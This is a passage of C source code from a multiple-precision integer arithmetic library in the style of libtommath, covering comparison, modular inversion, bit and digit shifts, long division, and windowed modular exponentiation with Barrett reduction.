BN_MP_DR_IS_MODULUS_C /* is it a DR modulus? */ dr = mp_dr_is_modulus(P); #else /* default to no */ dr = 0; #endif #ifdef BN_MP_REDUCE_IS_2K_C /* if not, is it a unrestricted DR modulus? */ if (dr == 0) { dr = mp_reduce_is_2k(P) << 1; } #endif /* if the modulus is odd or dr != 0 use the montgomery method */ #ifdef BN_MP_EXPTMOD_FAST_C if (mp_isodd (P) == 1 || dr != 0) { return mp_exptmod_fast (G, X, P, Y, dr); } else { #endif #ifdef BN_S_MP_EXPTMOD_C /* otherwise use the generic Barrett reduction technique */ return s_mp_exptmod (G, X, P, Y, 0); #else #error mp_exptmod could fail /* no exptmod for evens */ return MP_VAL; #endif #ifdef BN_MP_EXPTMOD_FAST_C } #endif } /* compare two ints (signed)*/ static int mp_cmp (mp_int * a, mp_int * b) { /* compare based on sign */ if (a->sign != b->sign) { if (a->sign == MP_NEG) { return MP_LT; } else { return MP_GT; } } /* compare digits */ if (a->sign == MP_NEG) { /* if negative compare opposite direction */ return mp_cmp_mag(b, a); } else { return mp_cmp_mag(a, b); } } /* compare a digit */ static int mp_cmp_d(mp_int * a, mp_digit b) { /* compare based on sign */ if (a->sign == MP_NEG) { return MP_LT; } /* compare based on magnitude */ if (a->used > 1) { return MP_GT; } /* compare the only digit of a to b */ if (a->dp[0] > b) { return MP_GT; } else if (a->dp[0] < b) { return MP_LT; } else { return MP_EQ; } } #ifndef LTM_NO_NEG_EXP /* hac 14.61, pp608 */ static int mp_invmod (mp_int * a, mp_int * b, mp_int * c) { /* b cannot be negative */ if (b->sign == MP_NEG || mp_iszero(b) == 1) { return MP_VAL; } #ifdef BN_FAST_MP_INVMOD_C /* if the modulus is odd we can use a faster routine instead */ if (mp_isodd (b) == 1) { return fast_mp_invmod (a, b, c); } #endif #ifdef BN_MP_INVMOD_SLOW_C return mp_invmod_slow(a, b, c); #endif #ifndef BN_FAST_MP_INVMOD_C #ifndef BN_MP_INVMOD_SLOW_C #error mp_invmod would always fail #endif #endif return MP_VAL; } #endif /* LTM_NO_NEG_EXP */ /* get the size for an unsigned equivalent */ static int mp_unsigned_bin_size (mp_int * a) { int size = mp_count_bits (a); return (size / 8 + ((size & 7) != 0 ? 1 : 0)); } #ifndef LTM_NO_NEG_EXP /* hac 14.61, pp608 */ static int mp_invmod_slow (mp_int * a, mp_int * b, mp_int * c) { mp_int x, y, u, v, A, B, C, D; int res; /* b cannot be negative */ if (b->sign == MP_NEG || mp_iszero(b) == 1) { return MP_VAL; } /* init temps */ if ((res = mp_init_multi(&x, &y, &u, &v, &A, &B, &C, &D, NULL)) != MP_OKAY) { return res; } /* x = a, y = b */ if ((res = mp_mod(a, b, &x)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_copy (b, &y)) != MP_OKAY) { goto LBL_ERR; } /* 2. [modified] if x,y are both even then return an error! */ if (mp_iseven (&x) == 1 && mp_iseven (&y) == 1) { res = MP_VAL; goto LBL_ERR; } /* 3. u=x, v=y, A=1, B=0, C=0,D=1 */ if ((res = mp_copy (&x, &u)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_copy (&y, &v)) != MP_OKAY) { goto LBL_ERR; } mp_set (&A, 1); mp_set (&D, 1); top: /* 4. while u is even do */ while (mp_iseven (&u) == 1) { /* 4.1 u = u/2 */ if ((res = mp_div_2 (&u, &u)) != MP_OKAY) { goto LBL_ERR; } /* 4.2 if A or B is odd then */ if (mp_isodd (&A) == 1 || mp_isodd (&B) == 1) { /* A = (A+y)/2, B = (B-x)/2 */ if ((res = mp_add (&A, &y, &A)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&B, &x, &B)) != MP_OKAY) { goto LBL_ERR; } } /* A = A/2, B = B/2 */ if ((res = mp_div_2 (&A, &A)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_div_2 (&B, &B)) != MP_OKAY) { goto LBL_ERR; } } /* 5. while v is even do */ while (mp_iseven (&v) == 1) { /* 5.1 v = v/2 */ if ((res = mp_div_2 (&v, &v)) != MP_OKAY) { goto LBL_ERR; } /* 5.2 if C or D is odd then */ if (mp_isodd (&C) == 1 || mp_isodd (&D) == 1) { /* C = (C+y)/2, D = (D-x)/2 */ if ((res = mp_add (&C, &y, &C)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&D, &x, &D)) != MP_OKAY) { goto LBL_ERR; } } /* C = C/2, D = D/2 */ if ((res = mp_div_2 (&C, &C)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_div_2 (&D, &D)) != MP_OKAY) { goto LBL_ERR; } } /* 6. if u >= v then */ if (mp_cmp (&u, &v) != MP_LT) { /* u = u - v, A = A - C, B = B - D */ if ((res = mp_sub (&u, &v, &u)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&A, &C, &A)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&B, &D, &B)) != MP_OKAY) { goto LBL_ERR; } } else { /* v - v - u, C = C - A, D = D - B */ if ((res = mp_sub (&v, &u, &v)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&C, &A, &C)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&D, &B, &D)) != MP_OKAY) { goto LBL_ERR; } } /* if not zero goto step 4 */ if (mp_iszero (&u) == 0) goto top; /* now a = C, b = D, gcd == g*v */ /* if v != 1 then there is no inverse */ if (mp_cmp_d (&v, 1) != MP_EQ) { res = MP_VAL; goto LBL_ERR; } /* if its too low */ while (mp_cmp_d(&C, 0) == MP_LT) { if ((res = mp_add(&C, b, &C)) != MP_OKAY) { goto LBL_ERR; } } /* too big */ while (mp_cmp_mag(&C, b) != MP_LT) { if ((res = mp_sub(&C, b, &C)) != MP_OKAY) { goto LBL_ERR; } } /* C is now the inverse */ mp_exch (&C, c); res = MP_OKAY; LBL_ERR:mp_clear_multi (&x, &y, &u, &v, &A, &B, &C, &D, NULL); return res; } #endif /* LTM_NO_NEG_EXP */ /* compare maginitude of two ints (unsigned) */ static int mp_cmp_mag (mp_int * a, mp_int * b) { int n; mp_digit *tmpa, *tmpb; /* compare based on # of non-zero digits */ if (a->used > b->used) { return MP_GT; } if (a->used < b->used) { return MP_LT; } /* alias for a */ tmpa = a->dp + (a->used - 1); /* alias for b */ tmpb = b->dp + (a->used - 1); /* compare based on digits */ for (n = 0; n < a->used; ++n, --tmpa, --tmpb) { if (*tmpa > *tmpb) { return MP_GT; } if (*tmpa < *tmpb) { return MP_LT; } } return MP_EQ; } /* reads a unsigned char array, assumes the msb is stored first [big endian] */ static int mp_read_unsigned_bin (mp_int * a, const unsigned char *b, int c) { int res; /* make sure there are at least two digits */ if (a->alloc < 2) { if ((res = mp_grow(a, 2)) != MP_OKAY) { return res; } } /* zero the int */ mp_zero (a); /* read the bytes in */ while (c-- > 0) { if ((res = mp_mul_2d (a, 8, a)) != MP_OKAY) { return res; } #ifndef MP_8BIT a->dp[0] |= *b++; a->used += 1; #else a->dp[0] = (*b & MP_MASK); a->dp[1] |= ((*b++ >> 7U) & 1); a->used += 2; #endif } mp_clamp (a); return MP_OKAY; } /* store in unsigned [big endian] format */ static int mp_to_unsigned_bin (mp_int * a, unsigned char *b) { int x, res; mp_int t; if ((res = mp_init_copy (&t, a)) != MP_OKAY) { return res; } x = 0; while (mp_iszero (&t) == 0) { #ifndef MP_8BIT b[x++] = (unsigned char) (t.dp[0] & 255); #else b[x++] = (unsigned char) (t.dp[0] | ((t.dp[1] & 0x01) << 7)); #endif if ((res = mp_div_2d (&t, 8, &t, NULL)) != MP_OKAY) { mp_clear (&t); return res; } } bn_reverse (b, x); mp_clear (&t); return MP_OKAY; } /* shift right by a certain bit count (store quotient in c, optional remainder in d) */ static int mp_div_2d (mp_int * a, int b, mp_int * c, mp_int * d) { mp_digit D, r, rr; int x, res; mp_int t; /* if the shift count is <= 0 then we do no work */ if (b <= 0) { res = mp_copy (a, c); if (d != NULL) { mp_zero (d); } return res; } if ((res = mp_init (&t)) != MP_OKAY) { return res; } /* get the remainder */ if (d != NULL) { if ((res = mp_mod_2d (a, b, &t)) != MP_OKAY) { mp_clear (&t); return res; } } /* copy */ if ((res = mp_copy (a, c)) != MP_OKAY) { mp_clear (&t); return res; } /* shift by as many digits in the bit count */ if (b >= (int)DIGIT_BIT) { mp_rshd (c, b / DIGIT_BIT); } /* shift any bit count < DIGIT_BIT */ D = (mp_digit) (b % DIGIT_BIT); if (D != 0) { register mp_digit *tmpc, mask, shift; /* mask */ mask = (((mp_digit)1) << D) - 1; /* shift for lsb */ shift = DIGIT_BIT - D; /* alias */ tmpc = c->dp + (c->used - 1); /* carry */ r = 0; for (x = c->used - 1; x >= 0; x--) { /* get the lower bits of this word in a temp */ rr = *tmpc & mask; /* shift the current word and mix in the carry bits from the previous word */ *tmpc = (*tmpc >> D) | (r << shift); --tmpc; /* set the carry to the carry bits of the current word found above */ r = rr; } } mp_clamp (c); if (d != NULL) { mp_exch (&t, d); } mp_clear (&t); return MP_OKAY; } static int mp_init_copy (mp_int * a, mp_int * b) { int res; if ((res = mp_init (a)) != MP_OKAY) { return res; } return mp_copy (b, a); } /* set to zero */ static void mp_zero (mp_int * a) { int n; mp_digit *tmp; a->sign = MP_ZPOS; a->used = 0; tmp = a->dp; for (n = 0; n < a->alloc; n++) { *tmp++ = 0; } } /* copy, b = a */ static int mp_copy (mp_int * a, mp_int * b) { int res, n; /* if dst == src do nothing */ if (a == b) { return MP_OKAY; } /* grow dest */ if (b->alloc < a->used) { if ((res = mp_grow (b, a->used)) != MP_OKAY) { return res; } } /* zero b and copy the parameters over */ { register mp_digit *tmpa, *tmpb; /* pointer aliases */ /* source */ tmpa = a->dp; /* destination */ tmpb = b->dp; /* copy all the digits */ for (n = 0; n < a->used; n++) { *tmpb++ = *tmpa++; } /* clear high digits */ for (; n < b->used; n++) { *tmpb++ = 0; } } /* copy used count and sign */ b->used = a->used; b->sign = a->sign; return MP_OKAY; } /* shift right a certain amount of digits */ static void mp_rshd (mp_int * a, int b) { int x; /* if b <= 0 then ignore it */ if (b <= 0) { return; } /* if b > used then simply zero it and return */ if (a->used <= b) { mp_zero (a); return; } { register mp_digit *bottom, *top; /* shift the digits down */ /* bottom */ bottom = a->dp; /* top [offset into digits] */ top = a->dp + b; /* this is implemented as a sliding window where * the window is b-digits long and digits from * the top of the window are copied to the bottom * * e.g. b-2 | b-1 | b0 | b1 | b2 | ... | bb | ----> /\ | ----> \-------------------/ ----> */ for (x = 0; x < (a->used - b); x++) { *bottom++ = *top++; } /* zero the top digits */ for (; x < a->used; x++) { *bottom++ = 0; } } /* remove excess digits */ a->used -= b; } /* swap the elements of two integers, for cases where you can't simply swap the * mp_int pointers around */ static void mp_exch (mp_int * a, mp_int * b) { mp_int t; t = *a; *a = *b; *b = t; } /* trim unused digits * * This is used to ensure that leading zero digits are * trimed and the leading "used" digit will be non-zero * Typically very fast. Also fixes the sign if there * are no more leading digits */ static void mp_clamp (mp_int * a) { /* decrease used while the most significant digit is * zero. */ while (a->used > 0 && a->dp[a->used - 1] == 0) { --(a->used); } /* reset the sign flag if used == 0 */ if (a->used == 0) { a->sign = MP_ZPOS; } } /* grow as required */ static int mp_grow (mp_int * a, int size) { int i; mp_digit *tmp; /* if the alloc size is smaller alloc more ram */ if (a->alloc < size) { /* ensure there are always at least MP_PREC digits extra on top */ size += (MP_PREC * 2) - (size % MP_PREC); /* reallocate the array a->dp * * We store the return in a temporary variable * in case the operation failed we don't want * to overwrite the dp member of a. */ tmp = OPT_CAST(mp_digit) XREALLOC (a->dp, sizeof (mp_digit) * size); if (tmp == NULL) { /* reallocation failed but "a" is still valid [can be freed] */ return MP_MEM; } /* reallocation succeeded so set a->dp */ a->dp = tmp; /* zero excess digits */ i = a->alloc; a->alloc = size; for (; i < a->alloc; i++) { a->dp[i] = 0; } } return MP_OKAY; } #ifdef BN_MP_ABS_C /* b = |a| * * Simple function copies the input and fixes the sign to positive */ static int mp_abs (mp_int * a, mp_int * b) { int res; /* copy a to b */ if (a != b) { if ((res = mp_copy (a, b)) != MP_OKAY) { return res; } } /* force the sign of b to positive */ b->sign = MP_ZPOS; return MP_OKAY; } #endif /* set to a digit */ static void mp_set (mp_int * a, mp_digit b) { mp_zero (a); a->dp[0] = b & MP_MASK; a->used = (a->dp[0] != 0) ? 1 : 0; } #ifndef LTM_NO_NEG_EXP /* b = a/2 */ static int mp_div_2(mp_int * a, mp_int * b) { int x, res, oldused; /* copy */ if (b->alloc < a->used) { if ((res = mp_grow (b, a->used)) != MP_OKAY) { return res; } } oldused = b->used; b->used = a->used; { register mp_digit r, rr, *tmpa, *tmpb; /* source alias */ tmpa = a->dp + b->used - 1; /* dest alias */ tmpb = b->dp + b->used - 1; /* carry */ r = 0; for (x = b->used - 1; x >= 0; x--) { /* get the carry for the next iteration */ rr = *tmpa & 1; /* shift the current digit, add in carry and store */ *tmpb-- = (*tmpa-- >> 1) | (r << (DIGIT_BIT - 1)); /* forward carry to next iteration */ r = rr; } /* zero excess digits */ tmpb = b->dp + b->used; for (x = b->used; x < oldused; x++) { *tmpb++ = 0; } } b->sign = a->sign; mp_clamp (b); return MP_OKAY; } #endif /* LTM_NO_NEG_EXP */ /* shift left by a certain bit count */ static int mp_mul_2d (mp_int * a, int b, mp_int * c) { mp_digit d; int res; /* copy */ if (a != c) { if ((res = mp_copy (a, c)) != MP_OKAY) { return res; } } if (c->alloc < (int)(c->used + b/DIGIT_BIT + 1)) { if ((res = mp_grow (c, c->used + b / DIGIT_BIT + 1)) != MP_OKAY) { return res; } } /* shift by as many digits in the bit count */ if (b >= (int)DIGIT_BIT) { if ((res = mp_lshd (c, b / DIGIT_BIT)) != MP_OKAY) { return res; } } /* shift any bit count < DIGIT_BIT */ d = (mp_digit) (b % DIGIT_BIT); if (d != 0) { register mp_digit *tmpc, shift, mask, r, rr; register int x; /* bitmask for carries */ mask = (((mp_digit)1) << d) - 1; /* shift for msbs */ shift = DIGIT_BIT - d; /* alias */ tmpc = c->dp; /* carry */ r = 0; for (x = 0; x < c->used; x++) { /* get the higher bits of the current word */ rr = (*tmpc >> shift) & mask; /* shift the current word and OR in the carry */ *tmpc = ((*tmpc << d) | r) & MP_MASK; ++tmpc; /* set the carry to the carry bits of the current word */ r = rr; } /* set final carry */ if (r != 0) { c->dp[(c->used)++] = r; } } mp_clamp (c); return MP_OKAY; } #ifdef BN_MP_INIT_MULTI_C static int mp_init_multi(mp_int *mp, ...) { mp_err res = MP_OKAY; /* Assume ok until proven otherwise */ int n = 0; /* Number of ok inits */ mp_int* cur_arg = mp; va_list args; va_start(args, mp); /* init args to next argument from caller */ while (cur_arg != NULL) { if (mp_init(cur_arg) != MP_OKAY) { /* Oops - error! Back-track and mp_clear what we already succeeded in init-ing, then return error. */ va_list clean_args; /* end the current list */ va_end(args); /* now start cleaning up */ cur_arg = mp; va_start(clean_args, mp); while (n--) { mp_clear(cur_arg); cur_arg = va_arg(clean_args, mp_int*); } va_end(clean_args); res = MP_MEM; break; } n++; cur_arg = va_arg(args, mp_int*); } va_end(args); return res; /* Assumed ok, if error flagged above. */ } #endif #ifdef BN_MP_CLEAR_MULTI_C static void mp_clear_multi(mp_int *mp, ...) { mp_int* next_mp = mp; va_list args; va_start(args, mp); while (next_mp != NULL) { mp_clear(next_mp); next_mp = va_arg(args, mp_int*); } va_end(args); } #endif /* shift left a certain amount of digits */ static int mp_lshd (mp_int * a, int b) { int x, res; /* if its less than zero return */ if (b <= 0) { return MP_OKAY; } /* grow to fit the new digits */ if (a->alloc < a->used + b) { if ((res = mp_grow (a, a->used + b)) != MP_OKAY) { return res; } } { register mp_digit *top, *bottom; /* increment the used by the shift amount then copy upwards */ a->used += b; /* top */ top = a->dp + a->used - 1; /* base */ bottom = a->dp + a->used - 1 - b; /* much like mp_rshd this is implemented using a sliding window * except the window goes the otherway around. Copying from * the bottom to the top. see bn_mp_rshd.c for more info. */ for (x = a->used - 1; x >= b; x--) { *top-- = *bottom--; } /* zero the lower digits */ top = a->dp; for (x = 0; x < b; x++) { *top++ = 0; } } return MP_OKAY; } /* returns the number of bits in an int */ static int mp_count_bits (mp_int * a) { int r; mp_digit q; /* shortcut */ if (a->used == 0) { return 0; } /* get number of digits and add that */ r = (a->used - 1) * DIGIT_BIT; /* take the last digit and count the bits in it */ q = a->dp[a->used - 1]; while (q > ((mp_digit) 0)) { ++r; q >>= ((mp_digit) 1); } return r; } /* calc a value mod 2**b */ static int mp_mod_2d (mp_int * a, int b, mp_int * c) { int x, res; /* if b is <= 0 then zero the int */ if (b <= 0) { mp_zero (c); return MP_OKAY; } /* if the modulus is larger than the value than return */ if (b >= (int) (a->used * DIGIT_BIT)) { res = mp_copy (a, c); return res; } /* copy */ if ((res = mp_copy (a, c)) != MP_OKAY) { return res; } /* zero digits above the last digit of the modulus */ for (x = (b / DIGIT_BIT) + ((b % DIGIT_BIT) == 0 ? 0 : 1); x < c->used; x++) { c->dp[x] = 0; } /* clear the digit that is not completely outside/inside the modulus */ c->dp[b / DIGIT_BIT] &= (mp_digit) ((((mp_digit) 1) << (((mp_digit) b) % DIGIT_BIT)) - ((mp_digit) 1)); mp_clamp (c); return MP_OKAY; } #ifdef BN_MP_DIV_SMALL /* slower bit-bang division... also smaller */ static int mp_div(mp_int * a, mp_int * b, mp_int * c, mp_int * d) { mp_int ta, tb, tq, q; int res, n, n2; /* is divisor zero ? */ if (mp_iszero (b) == 1) { return MP_VAL; } /* if a < b then q=0, r = a */ if (mp_cmp_mag (a, b) == MP_LT) { if (d != NULL) { res = mp_copy (a, d); } else { res = MP_OKAY; } if (c != NULL) { mp_zero (c); } return res; } /* init our temps */ if ((res = mp_init_multi(&ta, &tb, &tq, &q, NULL) != MP_OKAY)) { return res; } mp_set(&tq, 1); n = mp_count_bits(a) - mp_count_bits(b); if (((res = mp_abs(a, &ta)) != MP_OKAY) || ((res = mp_abs(b, &tb)) != MP_OKAY) || ((res = mp_mul_2d(&tb, n, &tb)) != MP_OKAY) || ((res = mp_mul_2d(&tq, n, &tq)) != MP_OKAY)) { goto LBL_ERR; } while (n-- >= 0) { if (mp_cmp(&tb, &ta) != MP_GT) { if (((res = mp_sub(&ta, &tb, &ta)) != MP_OKAY) || ((res = mp_add(&q, &tq, &q)) != MP_OKAY)) { goto LBL_ERR; } } if (((res = mp_div_2d(&tb, 1, &tb, NULL)) != MP_OKAY) || ((res = mp_div_2d(&tq, 1, &tq, NULL)) != MP_OKAY)) { goto LBL_ERR; } } /* now q == quotient and ta == remainder */ n = a->sign; n2 = (a->sign == b->sign ? MP_ZPOS : MP_NEG); if (c != NULL) { mp_exch(c, &q); c->sign = (mp_iszero(c) == MP_YES) ? MP_ZPOS : n2; } if (d != NULL) { mp_exch(d, &ta); d->sign = (mp_iszero(d) == MP_YES) ? MP_ZPOS : n; } LBL_ERR: mp_clear_multi(&ta, &tb, &tq, &q, NULL); return res; } #else /* integer signed division. * c*b + d == a [e.g. a/b, c=quotient, d=remainder] * HAC pp.598 Algorithm 14.20 * * Note that the description in HAC is horribly * incomplete. For example, it doesn't consider * the case where digits are removed from 'x' in * the inner loop. It also doesn't consider the * case that y has fewer than three digits, etc.. * * The overall algorithm is as described as * 14.20 from HAC but fixed to treat these cases. */ static int mp_div (mp_int * a, mp_int * b, mp_int * c, mp_int * d) { mp_int q, x, y, t1, t2; int res, n, t, i, norm, neg; /* is divisor zero ? */ if (mp_iszero (b) == 1) { return MP_VAL; } /* if a < b then q=0, r = a */ if (mp_cmp_mag (a, b) == MP_LT) { if (d != NULL) { res = mp_copy (a, d); } else { res = MP_OKAY; } if (c != NULL) { mp_zero (c); } return res; } if ((res = mp_init_size (&q, a->used + 2)) != MP_OKAY) { return res; } q.used = a->used + 2; if ((res = mp_init (&t1)) != MP_OKAY) { goto LBL_Q; } if ((res = mp_init (&t2)) != MP_OKAY) { goto LBL_T1; } if ((res = mp_init_copy (&x, a)) != MP_OKAY) { goto LBL_T2; } if ((res = mp_init_copy (&y, b)) != MP_OKAY) { goto LBL_X; } /* fix the sign */ neg = (a->sign == b->sign) ? MP_ZPOS : MP_NEG; x.sign = y.sign = MP_ZPOS; /* normalize both x and y, ensure that y >= b/2, [b == 2**DIGIT_BIT] */ norm = mp_count_bits(&y) % DIGIT_BIT; if (norm < (int)(DIGIT_BIT-1)) { norm = (DIGIT_BIT-1) - norm; if ((res = mp_mul_2d (&x, norm, &x)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_mul_2d (&y, norm, &y)) != MP_OKAY) { goto LBL_Y; } } else { norm = 0; } /* note hac does 0 based, so if used==5 then its 0,1,2,3,4, e.g. use 4 */ n = x.used - 1; t = y.used - 1; /* while (x >= y*b**n-t) do { q[n-t] += 1; x -= y*b**{n-t} } */ if ((res = mp_lshd (&y, n - t)) != MP_OKAY) { /* y = y*b**{n-t} */ goto LBL_Y; } while (mp_cmp (&x, &y) != MP_LT) { ++(q.dp[n - t]); if ((res = mp_sub (&x, &y, &x)) != MP_OKAY) { goto LBL_Y; } } /* reset y by shifting it back down */ mp_rshd (&y, n - t); /* step 3. for i from n down to (t + 1) */ for (i = n; i >= (t + 1); i--) { if (i > x.used) { continue; } /* step 3.1 if xi == yt then set q{i-t-1} to b-1, * otherwise set q{i-t-1} to (xi*b + x{i-1})/yt */ if (x.dp[i] == y.dp[t]) { q.dp[i - t - 1] = ((((mp_digit)1) << DIGIT_BIT) - 1); } else { mp_word tmp; tmp = ((mp_word) x.dp[i]) << ((mp_word) DIGIT_BIT); tmp |= ((mp_word) x.dp[i - 1]); tmp /= ((mp_word) y.dp[t]); if (tmp > (mp_word) MP_MASK) tmp = MP_MASK; q.dp[i - t - 1] = (mp_digit) (tmp & (mp_word) (MP_MASK)); } /* while (q{i-t-1} * (yt * b + y{t-1})) > xi * b**2 + xi-1 * b + xi-2 do q{i-t-1} -= 1; */ q.dp[i - t - 1] = (q.dp[i - t - 1] + 1) & MP_MASK; do { q.dp[i - t - 1] = (q.dp[i - t - 1] - 1) & MP_MASK; /* find left hand */ mp_zero (&t1); t1.dp[0] = (t - 1 < 0) ? 0 : y.dp[t - 1]; t1.dp[1] = y.dp[t]; t1.used = 2; if ((res = mp_mul_d (&t1, q.dp[i - t - 1], &t1)) != MP_OKAY) { goto LBL_Y; } /* find right hand */ t2.dp[0] = (i - 2 < 0) ? 0 : x.dp[i - 2]; t2.dp[1] = (i - 1 < 0) ? 0 : x.dp[i - 1]; t2.dp[2] = x.dp[i]; t2.used = 3; } while (mp_cmp_mag(&t1, &t2) == MP_GT); /* step 3.3 x = x - q{i-t-1} * y * b**{i-t-1} */ if ((res = mp_mul_d (&y, q.dp[i - t - 1], &t1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_lshd (&t1, i - t - 1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_sub (&x, &t1, &x)) != MP_OKAY) { goto LBL_Y; } /* if x < 0 then { x = x + y*b**{i-t-1}; q{i-t-1} -= 1; } */ if (x.sign == MP_NEG) { if ((res = mp_copy (&y, &t1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_lshd (&t1, i - t - 1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_add (&x, &t1, &x)) != MP_OKAY) { goto LBL_Y; } q.dp[i - t - 1] = (q.dp[i - t - 1] - 1UL) & MP_MASK; } } /* now q is the quotient and x is the remainder * [which we have to normalize] */ /* get sign before writing to c */ x.sign = x.used == 0 ? MP_ZPOS : a->sign; if (c != NULL) { mp_clamp (&q); mp_exch (&q, c); c->sign = neg; } if (d != NULL) { mp_div_2d (&x, norm, &x, NULL); mp_exch (&x, d); } res = MP_OKAY; LBL_Y:mp_clear (&y); LBL_X:mp_clear (&x); LBL_T2:mp_clear (&t2); LBL_T1:mp_clear (&t1); LBL_Q:mp_clear (&q); return res; } #endif #ifdef MP_LOW_MEM #define TAB_SIZE 32 #else #define TAB_SIZE 256 #endif static int s_mp_exptmod (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode) { mp_int M[TAB_SIZE], res, mu; mp_digit buf; int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize; int (*redux)(mp_int*,mp_int*,mp_int*); /* find window size */ x = mp_count_bits (X); if (x <= 7) { winsize = 2; } else if (x <= 36) { winsize = 3; } else if (x <= 140) { winsize = 4; } else if (x <= 450) { winsize = 5; } else if (x <= 1303) { winsize = 6; } else if (x <= 3529) { winsize = 7; } else { winsize = 8; } #ifdef MP_LOW_MEM if (winsize > 5) { winsize = 5; } #endif /* init M array */ /* init first cell */ if ((err = mp_init(&M[1])) != MP_OKAY) { return err; } /* now init the second half of the array */ for (x = 1<<(winsize-1); x < (1 << winsize); x++) { if ((err = mp_init(&M[x])) != MP_OKAY) { for (y = 1<<(winsize-1); y < x; y++) { mp_clear (&M[y]); } mp_clear(&M[1]); return err; } } /* create mu, used for Barrett reduction */ if ((err = mp_init (&mu)) != MP_OKAY) { goto LBL_M; } if (redmode == 0) { if ((err = mp_reduce_setup (&mu, P)) != MP_OKAY) { goto LBL_MU; } redux = mp_reduce; } else { if ((err = mp_reduce_2k_setup_l (P, &mu)) != MP_OKAY) { goto LBL_MU; } redux = mp_reduce_2k_l; } /* create M table * * The M table contains powers of the base, * e.g. M[x] = G**x mod P * * The first half of the table is not * computed though accept for M[0] and M[1] */ if ((err = mp_mod (G, P, &M[1])) != MP_OKAY) { goto LBL_MU; } /* compute the value at M[1<<(winsize-1)] by squaring * M[1] (winsize-1) times */ if ((err = mp_copy (&M[1], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_MU; } for (x = 0; x < (winsize - 1); x++) { /* square it */ if ((err = mp_sqr (&M[1 << (winsize - 1)], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_MU; } /* reduce modulo P */ if ((err = redux (&M[1 << (winsize - 1)], P, &mu)) != MP_OKAY) { goto LBL_MU; } } /* create upper table, that is M[x] = M[x-1] * M[1] (mod P) * for x = (2**(winsize - 1) + 1) to (2**winsize - 1) */ for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) { if ((err = mp_mul (&M[x - 1], &M[1], &M[x])) != MP_OKAY) { goto LBL_MU; } if ((err = redux (&M[x], P, &mu)) != MP_OKAY) { goto LBL_MU; } } /* setup result */ if ((err = mp_init (&res)) != MP_OKAY) { goto LBL_MU; } mp_set (&res, 1); /* set initial mode and bit cnt */ mode = 0; bitcnt = 1; buf = 0; digidx = X->used - 1; bitcpy = 0; bitbuf = 0; for (;;) { /* grab next digit as required */ if (--bitcnt == 0) { /* if digidx == -1 we are out of digits */ if (digidx == -1) { break; } /* read next digit and reset the bitcnt */ buf = X->dp[digidx--]; bitcnt = (int) DIGIT_BIT; } /* grab the next msb from the exponent */ y = (buf >> (mp_digit)(DIGIT_BIT - 1)) & 1; buf <<= (mp_digit)1; /* if the bit is zero and mode == 0 then we ignore it * These represent the leading zero bits before the first 1 bit * in the exponent. Technically this opt is not required but it * does lower the # of trivial squaring/reductions used */ if (mode == 0 && y == 0) { continue; } /* if the bit is zero and mode == 1 then we square */ if (mode == 1 && y == 0) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } continue; } /* else we add it to the window */ bitbuf |= (y << (winsize - ++bitcpy)); mode = 2; if (bitcpy == winsize) { /* ok window is filled so square as required and multiply */ /* square first */ for (x = 0; x < winsize; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } } /* then multiply */ if ((err = mp_mul (&res, &M[bitbuf], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } /* empty window and reset */ bitcpy = 0; bitbuf = 0; mode = 1; } } /* if bits remain then square/multiply */ if (mode == 2 && bitcpy > 0) { /* square then multiply if the bit is set */ for (x = 0; x < bitcpy; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } bitbuf <<= 1; if ((bitbuf & (1 << winsize)) != 0) { /* then multiply */ if ((err = mp_mul (&res, &M[1], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } } } } mp_exch (&res, Y); err = MP_OKAY; LBL_RES:mp_clear (&res); LBL_MU:mp_clear (&mu); LBL_M: mp_clear(&M[1]); for (x = 1<<(winsize-1); x < (1 << winsize); x++) { mp_clear (&M[x]); } return err; } /* computes b = a*a */ static int mp_sqr (mp_int * a, mp_int * b) { int res; #ifdef BN_MP_TOOM_SQR_C /* use Toom-Cook? */ if (a->used >= TOOM_SQR_CUTOFF) { res = mp_toom_sqr(a, b); /* Karatsuba? */ } else #endif #ifdef BN_MP_KARATSUBA_SQR_C if (a->used >= KARATSUBA_SQR_CUTOFF) { res = mp_karatsuba_sqr (a, b); } else #endif { #ifdef BN_FAST_S_MP_SQR_C /* can we use the fast comba multiplier? */ if ((a->used * 2 + 1) < MP_WARRAY && a->used < (1 << (sizeof(mp_word) * CHAR_BIT - 2*DIGIT_BIT - 1))) { res = fast_s_mp_sqr (a, b); } else #endif #ifdef BN_S_MP_SQR_C res = s_mp_sqr (a, b); #else #error mp_sqr could fail res = MP_VAL; #endif } b->sign = MP_ZPOS; return res; } /* reduces a modulo n where n is of the form 2**p - d This differs from reduce_2k since "d" can be larger than a single digit. */ static int mp_reduce_2k_l(mp_int *a, mp_int *n, mp_int *d) { mp_int q; int p, res; if ((res = mp_init(&q)) != MP_OKAY) { return res; } p = 